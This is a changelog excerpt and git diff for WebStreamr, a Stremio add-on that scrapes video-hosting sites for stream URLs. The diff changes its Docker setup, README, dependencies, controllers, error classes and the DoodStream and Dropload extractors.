* **extractor:** remove flaky HubCloud head requests ([053dce0](https://github.com/webstreamr/webstreamr/commit/053dce07297a62b1cae0dcfcf7c753c333b8538e))
* **extractor:** support embed-only VOE urls ([a36d152](https://github.com/webstreamr/webstreamr/commit/a36d152b61e08c8e29500e3912d3b1c2da63fdc5))
* **source:** remove KinoGer ([e5a5c62](https://github.com/webstreamr/webstreamr/commit/e5a5c621065de4849a3c7edfd4b893c80df47f61))
## [0.56.8](https://github.com/webstreamr/webstreamr/compare/v0.56.7...v0.56.8) (2025-10-29)
### Miscellaneous Chores
* allow Node 22 still ([c4bf32f](https://github.com/webstreamr/webstreamr/commit/c4bf32f9914e71d04dc85ecb07d625fd435c8f03))
* **deps:** update dependency minimatch to v10.1.1 ([#461](https://github.com/webstreamr/webstreamr/issues/461)) ([5078609](https://github.com/webstreamr/webstreamr/commit/5078609c86f1aa12a1388f643591aa23ef68be64))
* **deps:** update node.js to v24 ([20c43a3](https://github.com/webstreamr/webstreamr/commit/20c43a3ea17460b6105e4f8ec3d013c21dea23e3))
* **extractor:** cache not found results for 12 hours ([4bc5e42](https://github.com/webstreamr/webstreamr/commit/4bc5e42e509cb212250543c9054587e014356aae))
### Bug Fixes
* **source:** add fallback search for english title to Kokoshka ([331e5bd](https://github.com/webstreamr/webstreamr/commit/331e5bd5d16ddaac18fdc7e6cc2e4f2ee8c0051c))
* **source:** fine-tune Kokoshka result matching ([172edaf](https://github.com/webstreamr/webstreamr/commit/172edaf0fc7ac0a3059ccce8e9bb765e22a079d8))
* **source:** switch to working MegaKino domain ([88b6a5e](https://github.com/webstreamr/webstreamr/commit/88b6a5ef454f50f23f2711859b9923170ad3dd50))
## [0.56.7](https://github.com/webstreamr/webstreamr/compare/v0.56.6...v0.56.7) (2025-10-28)
### Miscellaneous Chores
* **deps:** update dependency @types/express to v5.0.4 ([#455](https://github.com/webstreamr/webstreamr/issues/455)) ([7cabb4d](https://github.com/webstreamr/webstreamr/commit/7cabb4d4abe895283b41f92d9ef9311000a937f3))
* **deps:** update dependency @types/node to v22.18.12 ([#456](https://github.com/webstreamr/webstreamr/issues/456)) ([365c2de](https://github.com/webstreamr/webstreamr/commit/365c2de4e59e00841ec689a6525a52bf3f5e9cac))
### Continuous Integration
* add workflow_dispatch trigger for build and tests ([79c16d5](https://github.com/webstreamr/webstreamr/commit/79c16d530db1658d92f069cfad899a2b86f8b0db))
* build also for arm64 ([68dcab3](https://github.com/webstreamr/webstreamr/commit/68dcab39fbf545c24f411da2af383ddcf51cb8ea))
## [0.56.6](https://github.com/webstreamr/webstreamr/compare/v0.56.5...v0.56.6) (2025-10-24)
### Bug Fixes
* **extractor:** handle Fastream deleted or expired file ([bd1e184](https://github.com/webstreamr/webstreamr/commit/bd1e184023003b4128ee4d0eaf7d0b673719a92a))
## [0.56.5](https://github.com/webstreamr/webstreamr/compare/v0.56.4...v0.56.5) (2025-10-24)
### Miscellaneous Chores
* add host info of relevant URL to all errors ([cc3d30b](https://github.com/webstreamr/webstreamr/commit/cc3d30be2fbd234597b1019ce3fe7313b39cf314))
* cache playlist heights for a month ([56e72b7](https://github.com/webstreamr/webstreamr/commit/56e72b73fe26dd37bf9b58e3281f0b9fb6d2eff8))
* **deps:** lock file maintenance ([#449](https://github.com/webstreamr/webstreamr/issues/449)) ([a9b81d0](https://github.com/webstreamr/webstreamr/commit/a9b81d00c064e566671316edbb0e251704112ecc))
* **deps:** update dependency @types/node to v22.18.11 ([#448](https://github.com/webstreamr/webstreamr/issues/448)) ([03bb9fe](https://github.com/webstreamr/webstreamr/commit/03bb9fea798b02c56379a0a6accdfb08f8badb01))
* **deps:** update dependency typescript-eslint to v8.46.2 ([#451](https://github.com/webstreamr/webstreamr/issues/451)) ([c8b6cf2](https://github.com/webstreamr/webstreamr/commit/c8b6cf27328044d249963750011c7f41aa0c2694))
* **extractor:** add KinoGer domains ([23da8dc](https://github.com/webstreamr/webstreamr/commit/23da8dc637452c08cabe46c0c6c608f030d19a14))
* **extractor:** add VOE domain ([e2eaa91](https://github.com/webstreamr/webstreamr/commit/e2eaa9143bbf793884ca3559c1b9a98f70e518eb))
* **extractor:** do not make any requests for external URLs ([77164df](https://github.com/webstreamr/webstreamr/commit/77164dfaa7e42688901da87242fbc04cf8a792d0))
* remove noCache option ([e6d8d50](https://github.com/webstreamr/webstreamr/commit/e6d8d5076c956398540a5d2afbc94633fedb172c))
* remove proxyConfig option ([6203863](https://github.com/webstreamr/webstreamr/commit/6203863523a495331e64582960b609a63ea0df32))
## [0.56.4](https://github.com/webstreamr/webstreamr/compare/v0.56.3...v0.56.4) (2025-10-18) ## [0.56.4](https://github.com/webstreamr/webstreamr/compare/v0.56.3...v0.56.4) (2025-10-18)

View file

@ -1,4 +1,4 @@
FROM node:24 AS builder FROM node:22-alpine AS builder
WORKDIR /app WORKDIR /app
COPY package*.json ./ COPY package*.json ./
@ -10,7 +10,7 @@ RUN npm run build
RUN npm ci --only=production RUN npm ci --only=production
FROM node:24 FROM node:22-alpine
WORKDIR /app WORKDIR /app
COPY --from=builder /app/dist ./dist COPY --from=builder /app/dist ./dist

View file

@ -1,28 +1,15 @@
# WebStreamr # WebStreamr
[![Tests](https://github.com/webstreamr/webstreamr/actions/workflows/tests.yml/badge.svg)](https://github.com/webstreamr/webstreamr/actions/workflows/tests.yml) [![Tests](https://github.com/webstreamr/webstreamr/workflows/Tests/badge.svg)](https://github.com/webstreamr/webstreamr/actions/workflows/tests.yml)
[![GitHub release](https://img.shields.io/github/v/release/webstreamr/webstreamr)](https://github.com/webstreamr/webstreamr/releases) [![GitHub release](https://img.shields.io/github/v/release/webstreamr/webstreamr)](https://github.com/webstreamr/webstreamr/releases)
![GitHub License](https://img.shields.io/github/license/webstreamr/webstreamr) ![GitHub License](https://img.shields.io/github/license/webstreamr/webstreamr)
[Stremio](https://www.stremio.com/) add-on which provides HTTP URLs from streaming websites. [Stremio](https://www.stremio.com/) add-on which provides HTTP URLs from streaming websites.
HTTP streams have limitations.
For a better experience, I'd advise using a Debrid service and WebStreamr as fallback.
[TorBox](https://torbox.app/subscription?referral=f22eb00d-27ce-4e20-85fc-68da3d018b99) is working very well.
## Public instance ## Public instance
A public instance is available at https://webstreamr.hayd.uk. Hosting infrastructure for this instance is donated by [ElfHosted](https://elfhosted.com), and independently maintained by [Hayduk](https://hayd.uk). A public instance is available at https://webstreamr.hayd.uk. Hosting infrastructure for this instance is donated by [ElfHosted](https://elfhosted.com), and independently maintained by [Hayduk](https://hayd.uk).
## Known issues / limitations
- PixelServer / pixeldrain has a daily limit of 6 GB per IP: https://pixeldrain.dev
- Dropload and SuperVideo on Android do not work because Stremio does not use the `Referer` header properly via HLS playlists: https://github.com/Stremio/stremio-bugs/issues/2389, maybe https://github.com/Stremio/stremio-bugs/issues/1579
- MediaFlow proxy has to be used in an inefficient way because Stremio on Android or its players cannot deal with HLS playlist with redirects: https://github.com/Stremio/stremio-bugs/issues/1574
- FlareSolverr cookies cannot be used because Cloudflare does techniques like TLS fingerprinting most likely. But FlareSolverr uses a session per host and should be quick.
- VidSrc works but rate limits heavily and is therefore only queried as fallback if nothing else is found.
- RgShows detects shared usage and blocks IPs. It therefore only works on private instances.
## MediaFlow Proxy ## MediaFlow Proxy
[MediaFlow Proxy](https://github.com/mhdzumair/mediaflow-proxy/) can be added when configuration the add-on to gain access to a couple of more file hosters. [MediaFlow Proxy](https://github.com/mhdzumair/mediaflow-proxy/) can be added when configuration the add-on to gain access to a couple of more file hosters.
@ -64,7 +51,6 @@ You can run the latest WebStreamr via Docker. E.g.
--pull always \ --pull always \
--publish 51546:51546 \ --publish 51546:51546 \
--env TMDB_ACCESS_TOKEN="YOUR_TOKEN" \ --env TMDB_ACCESS_TOKEN="YOUR_TOKEN" \
--volume /tmp:/tmp \
webstreamr/webstreamr webstreamr/webstreamr
``` ```
@ -86,11 +72,6 @@ Optional. Comma separated list of extractors which should be disabled. E.g. `doo
Optional. Comma separated list of sources which should be disabled. E.g. `frembed,vidsrc` Optional. Comma separated list of sources which should be disabled. E.g. `frembed,vidsrc`
#### `FLARESOLVERR_ENDPOINT`
Optional. If domains show Cloudflare challenges, FlareSolverr can be used to work around them. E.g. `http://flaresolverr:8191`
Proxy configuration is passed-through and only a single session is used to save resources. Byparr is not supported.
#### `MANIFEST_ID` #### `MANIFEST_ID`
Optional. Add-on manifest ID. Default: `webstreamr` Optional. Add-on manifest ID. Default: `webstreamr`

View file

@ -1,6 +1,4 @@
process.env['CACHE_DIR'] = '/dev/null'; process.env['CACHE_DIR'] = '/dev/null';
process.env['HOST'] = 'example.test';
process.env['PROTOCOL'] = 'https';
if (!process.env['TMDB_ACCESS_TOKEN']) { if (!process.env['TMDB_ACCESS_TOKEN']) {
process.env['TMDB_ACCESS_TOKEN'] = 'some access token'; process.env['TMDB_ACCESS_TOKEN'] = 'some access token';

3668
package-lock.json generated

File diff suppressed because it is too large Load diff

View file

@ -1,7 +1,7 @@
{ {
"name": "webstreamr", "name": "webstreamr",
"description": "Provides HTTP URLs from streaming websites.", "description": "Provides HTTP URLs from streaming websites.",
"version": "0.69.1", "version": "0.56.4",
"type": "commonjs", "type": "commonjs",
"scripts": { "scripts": {
"analyse": "tsc --noEmit --project ./tsconfig.dev.json", "analyse": "tsc --noEmit --project ./tsconfig.dev.json",
@ -28,7 +28,7 @@
"url": "https://github.com/webstreamr/webstreamr/issues" "url": "https://github.com/webstreamr/webstreamr/issues"
}, },
"engines": { "engines": {
"node": "^22.0.0 || ^24.0.0" "node": "^22.0.0"
}, },
"devEngines": { "devEngines": {
"runtime": { "runtime": {
@ -43,40 +43,33 @@
"dependencies": { "dependencies": {
"@keyv/sqlite": "^4.0.5", "@keyv/sqlite": "^4.0.5",
"async-mutex": "^0.5.0", "async-mutex": "^0.5.0",
"axios": "^1.13.2",
"axios-cache-interceptor": "^1.8.3",
"axios-mock-adapter": "^2.1.0",
"axios-retry": "^4.5.0",
"bytes": "^3.1.2", "bytes": "^3.1.2",
"cacheable": "^2.0.0", "cacheable": "^2.0.0",
"cheerio": "^1.0.0", "cheerio": "^1.0.0",
"express": "^5.1.0", "express": "^5.1.0",
"express-rate-limit": "^8.2.1",
"fast-levenshtein": "^3.0.0", "fast-levenshtein": "^3.0.0",
"glob": "^13.0.0", "fetch-socks": "^1.3.2",
"http-proxy-agent": "^7.0.2", "http-cache-semantics": "^4.2.0",
"https-proxy-agent": "^7.0.6",
"memoizee": "^0.4.17",
"minimatch": "^10.0.3", "minimatch": "^10.0.3",
"randomstring": "^1.3.1", "randomstring": "^1.3.1",
"rot13-cipher": "^1.0.0", "rot13-cipher": "^1.0.0",
"slugify": "^1.6.6", "slugify": "^1.6.6",
"socks-proxy-agent": "^8.0.5",
"sqlite3": "^5.1.7",
"tough-cookie": "^6.0.0", "tough-cookie": "^6.0.0",
"undici": "^7.10.0",
"unpacker": "^1.0.1", "unpacker": "^1.0.1",
"winston": "^3.17.0" "winston": "^3.17.0"
}, },
"devDependencies": { "devDependencies": {
"@eslint/js": "^9.26.0", "@eslint/js": "^9.26.0",
"@stylistic/eslint-plugin": "^5.0.0", "@stylistic/eslint-plugin": "^5.0.0",
"@tsconfig/node24": "^24.0.0", "@tsconfig/node22": "^22.0.2",
"@types/bytes": "^3.1.5", "@types/bytes": "^3.1.5",
"@types/express": "^5.0.1", "@types/express": "^5.0.1",
"@types/fast-levenshtein": "^0.0.4", "@types/fast-levenshtein": "^0.0.4",
"@types/http-cache-semantics": "^4.0.4",
"@types/jest": "^30.0.0", "@types/jest": "^30.0.0",
"@types/memoizee": "^0.4.12", "@types/make-fetch-happen": "^10.0.4",
"@types/node": "^24.0.0", "@types/node": "^22.15.3",
"@types/randomstring": "^1.3.0", "@types/randomstring": "^1.3.0",
"@types/stremio-addon-sdk": "^1.6.11", "@types/stremio-addon-sdk": "^1.6.11",
"babel-jest": "^30.0.0", "babel-jest": "^30.0.0",

View file

@ -22,7 +22,7 @@ export class ConfigureController {
} }
private getConfigure(req: Request, res: Response) { private getConfigure(req: Request, res: Response) {
const config: Config = JSON.parse(req.params['config'] as string || JSON.stringify(getDefaultConfig())); const config: Config = JSON.parse(req.params['config'] || JSON.stringify(getDefaultConfig()));
// Convenience preset for ElfHosted WebStreamr bundle including Media Flow Proxy // Convenience preset for ElfHosted WebStreamr bundle including Media Flow Proxy
if (!req.params['config'] && isElfHostedInstance(req)) { if (!req.params['config'] && isElfHostedInstance(req)) {

View file

@ -1,53 +0,0 @@
import { Mutex } from 'async-mutex';
import { Request, Response, Router } from 'express';
import winston from 'winston';
import { ExtractorRegistry } from '../extractor';
import { contextFromRequestAndResponse, Fetcher } from '../utils';
export class ExtractController {
public readonly router: Router;
private readonly logger: winston.Logger;
private readonly extractorRegistry: ExtractorRegistry;
private readonly locks = new Map<string, Mutex>();
public constructor(logger: winston.Logger, _fetcher: Fetcher, extractorRegistry: ExtractorRegistry) {
this.router = Router();
this.logger = logger;
this.extractorRegistry = extractorRegistry;
this.router.get('/extract', this.extract.bind(this));
}
private async extract(req: Request, res: Response) {
if (req.method !== 'GET') {
res.status(405).send('Method Not Allowed');
return;
}
const ctx = contextFromRequestAndResponse(req, res);
const index = parseInt(req.query['index'] as string);
const url = new URL(req.query['url'] as string);
this.logger.info(`Lazy extract index ${index} of URL ${url} for ip ${ctx.ip}`, ctx);
let mutex = this.locks.get(url.href);
if (!mutex) {
mutex = new Mutex();
this.locks.set(url.href, mutex);
}
await mutex.runExclusive(async () => {
const urlResults = await this.extractorRegistry.handle(ctx, url);
res.redirect(urlResults[index]?.url.href as string);
});
if (!mutex.isLocked()) {
this.locks.delete(url.href);
}
};
}

View file

@ -21,7 +21,7 @@ export class ManifestController {
} }
private getManifest(req: Request, res: Response) { private getManifest(req: Request, res: Response) {
const config: Config = JSON.parse(req.params['config'] as string || JSON.stringify(getDefaultConfig())); const config: Config = JSON.parse(req.params['config'] || JSON.stringify(getDefaultConfig()));
const manifest = buildManifest(this.sources, this.extractors, config); const manifest = buildManifest(this.sources, this.extractors, config);

View file

@ -3,7 +3,7 @@ import { Request, Response, Router } from 'express';
import { ContentType } from 'stremio-addon-sdk'; import { ContentType } from 'stremio-addon-sdk';
import winston from 'winston'; import winston from 'winston';
import { Source } from '../source'; import { Source } from '../source';
import { contextFromRequestAndResponse, envIsProd, Id, ImdbId, StreamResolver, TmdbId } from '../utils'; import { contextFromRequestAndResponse, envIsProd, Id, ImdbId, noCache, StreamResolver, TmdbId } from '../utils';
export class StreamController { export class StreamController {
public readonly router: Router; public readonly router: Router;
@ -27,7 +27,7 @@ export class StreamController {
private async getStream(req: Request, res: Response) { private async getStream(req: Request, res: Response) {
const type: ContentType = (req.params['type'] || '') as ContentType; const type: ContentType = (req.params['type'] || '') as ContentType;
const rawId: string = req.params['id'] as string || ''; const rawId: string = req.params['id'] || '';
let id: Id; let id: Id;
if (rawId.startsWith('tmdb:')) { if (rawId.startsWith('tmdb:')) {
@ -35,9 +35,7 @@ export class StreamController {
} else if (rawId.startsWith('tt')) { } else if (rawId.startsWith('tt')) {
id = ImdbId.fromString(rawId); id = ImdbId.fromString(rawId);
} else { } else {
res.status(400).send(`Unsupported ID: ${rawId}`); throw new Error(`Unsupported ID: ${rawId}`);
return;
} }
const ctx = contextFromRequestAndResponse(req, res); const ctx = contextFromRequestAndResponse(req, res);
@ -55,8 +53,10 @@ export class StreamController {
await mutex.runExclusive(async () => { await mutex.runExclusive(async () => {
const { streams, ttl } = await this.streamResolver.resolve(ctx, sources, type, id); const { streams, ttl } = await this.streamResolver.resolve(ctx, sources, type, id);
if (ttl && envIsProd()) { if (noCache(ctx.config)) {
res.setHeader('Cache-Control', `public, max-age=${Math.floor(ttl / 1000)}, immutable`); res.setHeader('Cache-Control', 'no-store, no-cache, must-revalidate, max-age=0');
} else if (ttl && envIsProd()) {
res.setHeader('Cache-Control', `max-age=${Math.floor(ttl / 1000)}, public`);
} }
res.setHeader('Content-Type', 'application/json'); res.setHeader('Content-Type', 'application/json');

View file

@ -1,4 +1,3 @@
export * from './ExtractController';
export * from './ConfigureController'; export * from './ConfigureController';
export * from './ManifestController'; export * from './ManifestController';
export * from './StreamController'; export * from './StreamController';

View file

@ -1,12 +1,11 @@
import { AxiosResponse } from 'axios';
import { BlockedReason } from '../types'; import { BlockedReason } from '../types';
export class BlockedError extends Error { export class BlockedError extends Error {
public readonly url: URL; public readonly url: URL;
public readonly reason: BlockedReason; public readonly reason: BlockedReason;
public readonly headers: AxiosResponse['headers']; public readonly headers: Record<string, string[] | string | undefined>;
public constructor(url: URL, reason: BlockedReason, headers: AxiosResponse['headers']) { public constructor(url: URL, reason: BlockedReason, headers: Record<string, string[] | string | undefined>) {
super(); super();
this.url = url; this.url = url;

View file

@ -1,15 +1,11 @@
import { AxiosResponse } from 'axios';
export class HttpError extends Error { export class HttpError extends Error {
public readonly url: URL;
public readonly status: number; public readonly status: number;
public readonly statusText: string; public readonly statusText: string;
public readonly headers: AxiosResponse['headers']; public readonly headers: Record<string, string[] | string | undefined>;
public constructor(url: URL, status: number, statusText: string, headers: AxiosResponse['headers']) { public constructor(status: number, statusText: string, headers: Record<string, string[] | string | undefined>) {
super(); super();
this.url = url;
this.status = status; this.status = status;
this.statusText = statusText; this.statusText = statusText;
this.headers = headers; this.headers = headers;

View file

@ -1,9 +1 @@
export class QueueIsFullError extends Error { export class QueueIsFullError extends Error {}
public readonly url: URL;
public constructor(url: URL) {
super();
this.url = url;
}
}

View file

@ -1,9 +1 @@
export class TimeoutError extends Error { export class TimeoutError extends Error {}
public readonly url: URL;
public constructor(url: URL) {
super();
this.url = url;
}
}

View file

@ -1,11 +1,9 @@
export class TooManyRequestsError extends Error { export class TooManyRequestsError extends Error {
public readonly url: URL;
public readonly retryAfter: number; public readonly retryAfter: number;
public constructor(url: URL, retryAfter: number) { public constructor(retryAfter: number) {
super(); super();
this.url = url;
this.retryAfter = retryAfter; this.retryAfter = retryAfter;
} }
} }

View file

@ -1,9 +1 @@
export class TooManyTimeoutsError extends Error { export class TooManyTimeoutsError extends Error {}
public readonly url: URL;
public constructor(url: URL) {
super();
this.url = url;
}
}

View file

@ -21,50 +21,46 @@ export const logErrorAndReturnNiceString = (ctx: Context, logger: winston.Logger
return '⚠️ MediaFlow Proxy authentication failed. Please set the correct password.'; return '⚠️ MediaFlow Proxy authentication failed. Please set the correct password.';
} }
logger.warn(`${source}: Request to ${error.url} was blocked, reason: ${error.reason}, headers: ${JSON.stringify(error.headers)}.`, ctx); logger.warn(`${source}: Request to ${error.url.href} was blocked, reason: ${error.reason}, headers: ${JSON.stringify(error.headers)}.`, ctx);
return `⚠️ Request to ${error.url.host} was blocked. Reason: ${error.reason}`; return `⚠️ Request was blocked. Reason: ${error.reason}`;
} }
if (error instanceof TooManyRequestsError) { if (error instanceof TooManyRequestsError) {
logger.warn(`${source}: Request to ${error.url} was rate limited for ${error.retryAfter} seconds.`, ctx); logger.warn(`${source}: Rate limited for ${error.retryAfter} seconds.`, ctx);
return `🚦 Request to ${error.url.host} was rate-limited. Please try again later or consider self-hosting.`; return '🚦 Request was rate-limited. Please try again later or consider self-hosting.';
} }
if (error instanceof TooManyTimeoutsError) { if (error instanceof TooManyTimeoutsError) {
logger.warn(`${source}: Too many timeouts when requesting ${error.url}.`, ctx); logger.warn(`${source}: Too many timeouts.`, ctx);
return `🚦 Too many recent timeouts when requesting ${error.url.host}. Please try again later.`; return '🚦 Too many recent timeouts. Please try again later.';
} }
if (error instanceof TimeoutError) { if (
logger.warn(`${source}: Request to ${error.url} timed out.`, ctx); error instanceof TimeoutError
|| (error instanceof DOMException && ['AbortError', 'TimeoutError'].includes(error.name)) // sometimes this gets through, no idea why..
return `🐢 Request to ${error.url.host} timed out.`; ) {
}
if (error instanceof DOMException && ['AbortError', 'TimeoutError'].includes(error.name)) {
// sometimes this gets through, no idea why..
logger.warn(`${source}: Request timed out.`, ctx); logger.warn(`${source}: Request timed out.`, ctx);
return '🐢 Request timed out.'; return '🐢 Request timed out.';
} }
if (error instanceof QueueIsFullError) { if (error instanceof QueueIsFullError) {
logger.warn(`${source}: Request queue for ${error.url.host} is full.`, ctx); logger.warn(`${source}: Request queue is full.`, ctx);
return `⏳ Request queue for ${error.url.host} is full. Please try again later or consider self-hosting.`; return '⏳ Request queue is full. Please try again later or consider self-hosting.';
} }
if (error instanceof HttpError) { if (error instanceof HttpError) {
logger.error(`${source}: Error when requesting url ${error.url}, HTTP status ${error.status} (${error.statusText}), headers: ${JSON.stringify(error.headers)}, stack: ${error.stack}.`, ctx); logger.error(`${source}: HTTP status ${error.status} (${error.statusText}), headers: ${JSON.stringify(error.headers)}, stack: ${error.stack}.`, ctx);
if (error.status >= 500) { if (error.status >= 500) {
return `❌ Remote server ${error.url.host} has issues. We can't fix this, please try later again.`; return `❌ Remote server has issues. We can't fix this, please try later again.`;
} }
return `❌ Request to ${error.url.host} failed with status ${error.status} (${error.statusText}). Request-id: ${ctx.id}.`; return `❌ Request failed with status ${error.status} (${error.statusText}). Request-id: ${ctx.id}.`;
} }
const cause = (error as Error & { cause?: unknown }).cause; const cause = (error as Error & { cause?: unknown }).cause;

View file

@ -7,18 +7,22 @@ import { ExtractorRegistry } from './ExtractorRegistry';
const logger = winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] }); const logger = winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] });
const extractorRegistry = new ExtractorRegistry(logger, [new DoodStream(new FetcherMock(`${__dirname}/__fixtures__/DoodStream`))]); const extractorRegistry = new ExtractorRegistry(logger, [new DoodStream(new FetcherMock(`${__dirname}/__fixtures__/DoodStream`))]);
const ctx = createTestContext({ mediaFlowProxyUrl: 'https://mediaflow.test.org', mediaFlowProxyPassword: 'test' }); const ctx = createTestContext();
describe('DoodStream', () => { describe('DoodStream', () => {
test('dood.to', async () => { test('dood.to', async () => {
expect(await extractorRegistry.handle(ctx, new URL('http://dood.to/e/sk1m9eumzyjj'))).toMatchSnapshot(); expect(await extractorRegistry.handle(ctx, new URL('http://dood.to/e/sk1m9eumzyjj'))).toMatchSnapshot();
}); });
test('missing pass_md5 -> not found', async () => {
expect(await extractorRegistry.handle(ctx, new URL('https://dood.to/e/gy8l8mb2i311'))).toMatchSnapshot();
});
test('can guess height from title', async () => { test('can guess height from title', async () => {
expect(await extractorRegistry.handle(ctx, new URL('https://do7go.com/e/dfx8me4un4ul'))).toMatchSnapshot(); expect(await extractorRegistry.handle(ctx, new URL('https://do7go.com/e/dfx8me4un4ul'))).toMatchSnapshot();
}); });
test('not found', async () => { test('cloudflare storage', async () => {
expect(await extractorRegistry.handle(ctx, new URL('https://myvidplay.com/e/cz7cus0bvlzr'))).toMatchSnapshot(); expect(await extractorRegistry.handle(ctx, new URL('https://doodstream.com/e/wfpwtsgyr1xi'))).toMatchSnapshot();
}); });
}); });

View file

@ -1,8 +1,8 @@
import bytes from 'bytes'; import bytes from 'bytes';
import * as cheerio from 'cheerio'; import * as cheerio from 'cheerio';
import randomstring from 'randomstring';
import { NotFoundError } from '../error'; import { NotFoundError } from '../error';
import { Context, Format, InternalUrlResult, Meta } from '../types'; import { Context, Format, Meta, UrlResult } from '../types';
import { buildMediaFlowProxyExtractorRedirectUrl, supportsMediaFlowProxy } from '../utils';
import { Extractor } from './Extractor'; import { Extractor } from './Extractor';
export class DoodStream extends Extractor { export class DoodStream extends Extractor {
@ -12,43 +12,59 @@ export class DoodStream extends Extractor {
public override readonly ttl: number = 21600000; // 6h public override readonly ttl: number = 21600000; // 6h
public override viaMediaFlowProxy = true;
/** @see https://github.com/Gujal00/ResolveURL/blob/master/script.module.resolveurl/lib/resolveurl/plugins/doodstream.py */ /** @see https://github.com/Gujal00/ResolveURL/blob/master/script.module.resolveurl/lib/resolveurl/plugins/doodstream.py */
public supports(ctx: Context, url: URL): boolean { public supports(_ctx: Context, url: URL): boolean {
return null !== url.host.match(/dood|do[0-9]go|doood|dooood|ds2play|ds2video|dsvplay|d0o0d|do0od|d0000d|d000d|myvidplay|vidply|all3do|doply|vide0|vvide0|d-s/) && supportsMediaFlowProxy(ctx); return null !== url.host.match(/dood|do[0-9]go|doood|dooood|ds2play|ds2video|dsvplay|d0o0d|do0od|d0000d|d000d|vidply|all3do|doply|vide0|vvide0|d-s/);
}; };
public override normalize(url: URL): URL { public override normalize(url: URL): URL {
const videoId = url.pathname.replace(/\/+$/, '').split('/').at(-1) as string; const videoId = url.pathname.split('/').at(-1) as string;
return new URL(`http://dood.to/e/${videoId}`); return new URL(`http://dood.to/e/${videoId}`);
}; };
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> { protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
const headers = { Referer: meta.referer ?? url.href }; const headers = { Referer: meta.referer ?? url.href };
const html = await this.fetcher.text(ctx, url, { headers }); const html = await this.fetcher.text(ctx, url, { headers });
if (/Video not found/.test(html)) { const passMd5Match = html.match(/\/pass_md5\/[\w-]+\/([\w-]+)/);
if (!passMd5Match) {
throw new NotFoundError(); throw new NotFoundError();
} }
const token = passMd5Match[1] as string;
const baseUrl = await this.fetcher.text(ctx, new URL(passMd5Match[0], url.origin), { headers: { Referer: url.href } });
const $ = cheerio.load(html); const $ = cheerio.load(html);
const title = $('title').text().trim().replace(/ - DoodStream$/, '').trim(); const title = $('title').text().trim().replace(/ - DoodStream$/, '').trim();
const downloadHtml = await this.fetcher.text(ctx, new URL(url.href.replace('/e/', '/d/'))); const downloadHtml = await this.fetcher.text(ctx, new URL(url.href.replace('/e/', '/d/')));
const sizeMatch = downloadHtml.match(/([\d.]+ ?[GM]B)/); const sizeMatch = downloadHtml.match(/([\d.]+ ?[GM]B)/);
let mp4Url: URL;
if (baseUrl.includes('cloudflarestorage')) {
mp4Url = new URL(baseUrl);
} else {
mp4Url = new URL(`${baseUrl}${randomstring.generate(10)}?token=${token}&expiry=${Date.now()}`);
}
return [ return [
{ {
url: buildMediaFlowProxyExtractorRedirectUrl(ctx, 'Doodstream', url, headers), url: mp4Url,
format: Format.mp4, format: Format.mp4,
label: this.label,
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
ttl: this.ttl,
meta: { meta: {
...meta, ...meta,
title, title,
...(sizeMatch && { bytes: bytes.parse(sizeMatch[1] as string) as number }), ...(sizeMatch && { bytes: bytes.parse(sizeMatch[1] as string) as number }),
}, },
requestHeaders: {
Referer: url.origin,
},
}, },
]; ];
}; };

View file

@ -1,7 +1,7 @@
import bytes from 'bytes'; import bytes from 'bytes';
import * as cheerio from 'cheerio'; import * as cheerio from 'cheerio';
import { NotFoundError } from '../error'; import { NotFoundError } from '../error';
import { Context, Format, InternalUrlResult, Meta } from '../types'; import { Context, Format, Meta, UrlResult } from '../types';
import { extractUrlFromPacked, guessHeightFromPlaylist } from '../utils'; import { extractUrlFromPacked, guessHeightFromPlaylist } from '../utils';
import { Extractor } from './Extractor'; import { Extractor } from './Extractor';
@ -13,12 +13,12 @@ export class Dropload extends Extractor {
public override readonly ttl: number = 10800000; // 3h public override readonly ttl: number = 10800000; // 3h
public supports(_ctx: Context, url: URL): boolean { public supports(_ctx: Context, url: URL): boolean {
return null !== url.host.match(/dropload|dr0pstream/); return null !== url.host.match(/dropload/);
} }
public override readonly normalize = (url: URL): URL => new URL(url.href.replace('/d/', '/').replace('/e/', '/').replace('/embed-', '/')); public override readonly normalize = (url: URL): URL => new URL(url.href.replace('/d/', '/').replace('/e/', '/').replace('/embed-', '/'));
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> { protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
const headers = { Referer: meta.referer ?? url.href }; const headers = { Referer: meta.referer ?? url.href };
const html = await this.fetcher.text(ctx, url, { headers }); const html = await this.fetcher.text(ctx, url, { headers });
@ -28,12 +28,11 @@ export class Dropload extends Extractor {
} }
const playlistUrl = extractUrlFromPacked(html, [/sources:\[{file:"(.*?)"/]); const playlistUrl = extractUrlFromPacked(html, [/sources:\[{file:"(.*?)"/]);
const playlistHeaders = { Referer: 'https://dr0pstream.com/' };
const heightMatch = html.match(/\d{3,}x(\d{3,}),/); const heightMatch = html.match(/\d{3,}x(\d{3,}),/);
const height = heightMatch const height = heightMatch
? parseInt(heightMatch[1] as string) ? parseInt(heightMatch[1] as string)
: meta.height ?? await guessHeightFromPlaylist(ctx, this.fetcher, playlistUrl, { headers: playlistHeaders }); : await guessHeightFromPlaylist(ctx, this.fetcher, playlistUrl);
const sizeMatch = html.match(/([\d.]+ ?[GM]B)/); const sizeMatch = html.match(/([\d.]+ ?[GM]B)/);
const size = sizeMatch ? bytes.parse(sizeMatch[1] as string) as number : undefined; const size = sizeMatch ? bytes.parse(sizeMatch[1] as string) as number : undefined;
@ -45,13 +44,15 @@ export class Dropload extends Extractor {
{ {
url: playlistUrl, url: playlistUrl,
format: Format.hls, format: Format.hls,
label: this.label,
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
ttl: this.ttl,
meta: { meta: {
...meta, ...meta,
title, title,
...(size && { bytes: size }), ...(size && { bytes: size }),
...(height && { height }), ...(height && { height }),
}, },
requestHeaders: playlistHeaders,
}, },
]; ];
}; };

View file

@ -1,4 +1,5 @@
import { Context, Format, InternalUrlResult, Meta } from '../types'; import { BlockedError } from '../error';
import { Context, Format, Meta, UrlResult } from '../types';
import { showExternalUrls } from '../utils'; import { showExternalUrls } from '../utils';
import { Extractor } from './Extractor'; import { Extractor } from './Extractor';
@ -13,13 +14,27 @@ export class ExternalUrl extends Extractor {
